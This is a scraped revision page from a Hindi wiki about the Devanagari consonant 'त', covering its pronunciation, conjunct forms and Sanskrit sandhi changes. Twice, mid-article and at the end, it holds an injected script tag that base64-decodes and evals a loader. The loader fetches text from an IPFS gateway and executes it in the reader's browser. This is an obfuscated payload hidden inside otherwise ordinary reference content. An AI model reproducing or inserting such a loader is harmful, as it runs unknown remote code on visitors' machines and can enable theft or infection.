Difference between revisions of "त"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
 
Line 23: Line 23:
 
|शीर्षक 10=
 
|शीर्षक 10=
 
|पाठ 10=
 
|पाठ 10=
|संबंधित लेख=[[]], [[]], [[]], [[]]  
+
|संबंधित लेख=[[]], [[]], [[]], [[]]  
 
|अन्य जानकारी=संस्कृत के संधि-नियमों के अनुसार [[तत्सम]] शब्दों में अनेक स्थानों पर तकार-सम्बन्धी कुछ परिवर्तन देखे जाते हैं। जैसे- त्‌ का ल्‌ में परिवर्तन (तत्‌ + लीन = तल्लीन)
 
|अन्य जानकारी=संस्कृत के संधि-नियमों के अनुसार [[तत्सम]] शब्दों में अनेक स्थानों पर तकार-सम्बन्धी कुछ परिवर्तन देखे जाते हैं। जैसे- त्‌ का ल्‌ में परिवर्तन (तत्‌ + लीन = तल्लीन)
 
|बाहरी कड़ियाँ=
 
|बाहरी कड़ियाँ=

Latest revision as of 07:32, 18 December 2016

t
vivaran t devanagari varnamala mean tavarg ka pahala vyanjan hai.
bhashavijnan ki drishti se yah danty, sparsh, aghosh aur alpapran hai. isaka mahapran roop 'th' hai.
vyakaran pulliang- dhvani, rav, chandramandal, sooryamandal, vritt, shoony, moorti, dev, shiv, mahadev.
vishesh 'th' ka ditv hone par 'tt' roop likha jata hai. isaka uchit jnan n hone se mahath+tv = 'mahattv' jaise sthaloan par 'mahatv' likhane ki bhool bahut prachalit hai. sattv (sath‌ + tv) aur gurutv (guru +tv) mean kramash: t ka dvitv kyoan nahian hai, is par dhyan dena chahie.
sanbandhit lekh th, d, dh, n
any janakari sanskrit ke sandhi-niyamoan ke anusar tatsam shabdoan mean anek sthanoan par takar-sambandhi kuchh parivartan dekhe jate haian. jaise- th‌ ka lh‌ mean parivartan (tath‌ + lin = tallin)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

t devanagari varnamala mean tavarg ka pahala vyanjan hai. bhashavijnan ki drishti se yah danty, sparsh, aghosh aur alpapran hai. isaka mahapran roop 'th' hai.

vishesh-
  • 't' varn ka anek vyanjanoan se sanyog hota hai. t se pahale akar milane vale vyanjanoan mean k (ukt), q (vaqt), kh (sakht), t (satta), n (shaant), p (shapt), b (zabt), m (smit), r (art), sh (kishti), aur s (ast), pramukh haian.
  • 't' se bad mean rahakar milane vale vyanjanoan mean y (saty), r (satr) aur s (kutsa) pramukh haian.
  • rh ka t se sanyog hone par 'rt' roop banata hai. jaise- art, karta, shart aur th ka r se sanyog hone par 'tr' roop banata hai jise ajakal 'tr' bhi likha jata hai. jaise- mitr.
  • 'th' ka ditv hone par 'tt' roop likha jata hai. isaka uchit jnan n hone se mahath+tv = 'mahattv' jaise sthaloan par 'mahatv' likhane ki bhool bahut prachalit hai. sattv (sath‌ + tv) aur gurutv (guru +tv) mean kramash: t ka dvitv kyoan nahian hai, is par dhyan dena chahie.
  • sanskrit ke anek takaraant (aant mean th‌ dhvani vale) shabdoan ko hiandi mean 'th‌' ke sthan par 't' (akaraant) ke prayog ke sath likhana prachalit hai. jaise -vidyuth - vidyut.
  • sanskrit ke sandhi-niyamoan ke anusar tatsam shabdoan mean anek sthanoan par takar-sambandhi kuchh parivartan dekhe jate haian. kuchh pramukh parivartan is prakar hai-
    • th‌ ka chh‌ mean parivartan (sath‌ + chith‌ = sachchith‌).
    • th‌ ka jh‌ mean parivartan (sath‌ + jan = sajjan).
    • th‌ ka dh‌ mean parivartan (jagath‌ + bandhu = jagadh‌bandhu).
    • th‌ ka nh‌ mean parivartan (jagath‌ + nath = jagannath).
    • th‌ ka lh‌ mean parivartan (tath‌ + lin = tallin).
    • th‌ ke pare shh‌ ho to donoan ka chchhh‌ mean parivartan (sath‌ + shastr = sachchhastr).
    • th‌ ke pare hh ho to donoan ka dh‌dhh mean parivartan (uth‌ + har = udh‌dhar).
    • dh‌ ka th‌ mean parivartan (udh‌ + kirn = utkirn).
    • t ka visargayukt roop 't:' ek pratyay ke roop mean anek tatsam shabdoan mean prayukt hota hai. jais- sarvat:, karyat:, visheshat:.
  • [ sanskrit (dhatu) takh = d ] pulliang- ratn, yoddha, amrit, garbhashay, shath, dusht, chor, pooanchh, dum, chhati, barbar ya mlechchh, nav.[1]

t ki barahakh di

t ta ti ti tu too te tai to tau tan tah

t akshar vale shabd



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. pustak- hindi shabd kosh khand-1 | prishth sankhya- 1114

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>